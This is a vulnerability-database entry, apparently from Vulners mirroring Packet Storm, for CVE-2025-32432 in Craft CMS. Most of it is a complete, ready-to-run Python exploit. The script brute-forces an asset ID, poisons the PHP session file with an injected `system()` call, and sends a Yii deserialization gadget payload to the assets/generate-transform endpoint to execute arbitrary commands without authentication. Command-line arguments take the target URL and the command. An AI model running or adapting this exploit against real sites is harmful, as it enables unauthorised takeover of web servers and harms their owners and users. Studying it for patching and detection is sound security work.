Lucene search
K

📄 Craft CMS 5.6.16 Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by Mohammed Idrees BanyamerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 32 Views

Craft CMS pre-auth RCE via assets/generate-transform using Yii deserialization (vulnerability 2025 32432).

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
23 Sep 202506:23
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
16 Jul 202509:23
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
15 May 202614:09
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
8 Mar 202616:59
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
30 Apr 202603:38
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
27 Apr 202508:50
githubexploit
ATTACKERKB
CVE-2024-58136
10 Apr 202500:00
attackerkb
ATTACKERKB
CVE-2025-32432
25 Apr 202515:15
attackerkb
Circl
CVE-2025-32432
25 Apr 202515:45
circl
CISA KEV Catalog
Yiiframework Yii Improper Protection of Alternate Path Vulnerability
2 May 202500:00
cisa_kev
Rows per page
# Exploit Title: Craft CMS 5.6.16 - RCE
    # Google Dork: N/A
    # Date: 2026-01-24
    # Exploit Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Vendor Homepage: https://craftcms.com
    # Software Link: https://github.com/craftcms/cms
    # Version: <= 3.9.14, <= 4.14.14, <= 5.6.16
    # Tested on: Linux, Apache/Nginx, PHP 8.x
    # CVE: CVE-2025-32432
    #
    # Description:
    # Craft CMS contains a pre-authentication remote code execution vulnerability
    # in the assets/generate-transform endpoint. By abusing a Yii deserialization
    # gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session
    # file, an unauthenticated attacker can achieve arbitrary command execution.
    #
    
    import requests
    import argparse
    import time
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    def find_asset_id(base_url, max_attempts=300):
        """
        Brute-force search for a valid Asset ID.
        This is optional and may be unreliable on some installations.
        """
        session = requests.Session()
        session.verify = False
    
        print("[*] Brute-forcing Asset ID (best-effort)...")
    
        for asset_id in range(1, max_attempts + 1):
            url = f"{base_url}/actions/assets/generate-transform"
            payload = {
                "assetId": asset_id,
                "handle": {
                    "width": 1,
                    "height": 1,
                    "as hack": {
                        "class": "craft\\behaviors\\FieldLayoutBehavior",
                        "__class": "yii\\rbac\\PhpManager",
                        "__construct()": [
                            {
                                "itemFile": "invalid"
                            }
                        ]
                    }
                }
            }
    
            try:
                r = session.post(url, json=payload, timeout=5)
                if r.status_code != 404:
                    print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})")
                    return asset_id
            except:
                continue
    
        print(f"[-] No valid Asset ID found after {max_attempts} attempts.")
        return None
    
    
    def implant_php(base_url, cmd):
        """
        Step 1: Poison the PHP session file with injected PHP code.
        This relies on old-style behavior where query parameters are written
        into the session file without sanitization.
        """
    
        injection = f"<?php system('{cmd}'); ?>"
        url = f"{base_url}/index.php?p=admin/dashboard&a={injection}"
    
        try:
            r = requests.get(url, verify=False, timeout=10)
            if r.status_code == 200:
                print(f"[+] Session poisoning request sent successfully")
                return True
            else:
                print(f"[-] Injection failed (HTTP {r.status_code})")
                return False
        except Exception as e:
            print(f"[-] Injection error: {e}")
            return False
    
    
    def execute_command(base_url, asset_id, session_id):
        """
        Step 2: Trigger deserialization and force PhpManager to include
        the poisoned session file from /tmp/sess_<PHPSESSID>.
        """
    
        url = f"{base_url}/actions/assets/generate-transform"
    
        payload = {
            "assetId": asset_id,
            "handle": {
                "width": 1,
                "height": 1,
                "as hack": {
                    "class": "craft\\behaviors\\FieldLayoutBehavior",
                    "__class": "yii\\rbac\\PhpManager",
                    "__construct()": [
                        {
                            "itemFile": f"/tmp/sess_{session_id}"
                        }
                    ]
                }
            }
        }
    
        try:
            r = requests.post(url, json=payload, verify=False, timeout=15)
            return r.text
        except Exception as e:
            return f"[-] Execution request failed: {e}"
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution"
        )
        parser.add_argument("-u", "--url", required=True,
                            help="Target base URL (e.g. https://victim.com)")
        parser.add_argument("-c", "--cmd", required=True,
                            help="Command to execute (e.g. id, whoami)")
        parser.add_argument("-a", "--asset", type=int,
                            help="Known valid Asset ID (recommended)")
        parser.add_argument("-s", "--scan-max", type=int, default=300,
                            help="Max Asset ID brute-force range (optional)")
    
        args = parser.parse_args()
    
        base_url = args.url.rstrip('/')
        session = requests.Session()
        session.verify = False
    
        # Step 0: Obtain PHP session ID
        try:
            r = session.get(f"{base_url}/index.php", verify=False, timeout=10)
            session_id = session.cookies.get("PHPSESSID", None)
    
            if not session_id:
                print("[-] Failed to obtain PHPSESSID")
                return
    
            print(f"[+] Obtained PHPSESSID: {session_id}")
    
        except Exception as e:
            print(f"[-] Failed to establish session: {e}")
            return
    
        # Determine Asset ID
        asset_id = args.asset
        if not asset_id:
            asset_id = find_asset_id(base_url, args.scan_max)
            if not asset_id:
                print("[-] Exploitation aborted: no valid Asset ID found")
                return
    
        print(f"[+] Using Asset ID: {asset_id}")
    
        # Step 1: Poison session file
        if not implant_php(base_url, args.cmd):
            print("[-] Session poisoning failed")
            return
    
        print("[*] Waiting for session file to be written...")
        time.sleep(2)
    
        # Step 2: Trigger RCE
        print(f"[*] Triggering command execution: {args.cmd}")
        output = execute_command(base_url, asset_id, session_id)
    
        # Output handling
        print("\n[+] Server response:")
        print(output[:2000])
    
    
    if __name__ == "__main__":
        print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===")
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.110
EPSS0.93094
SSVC
32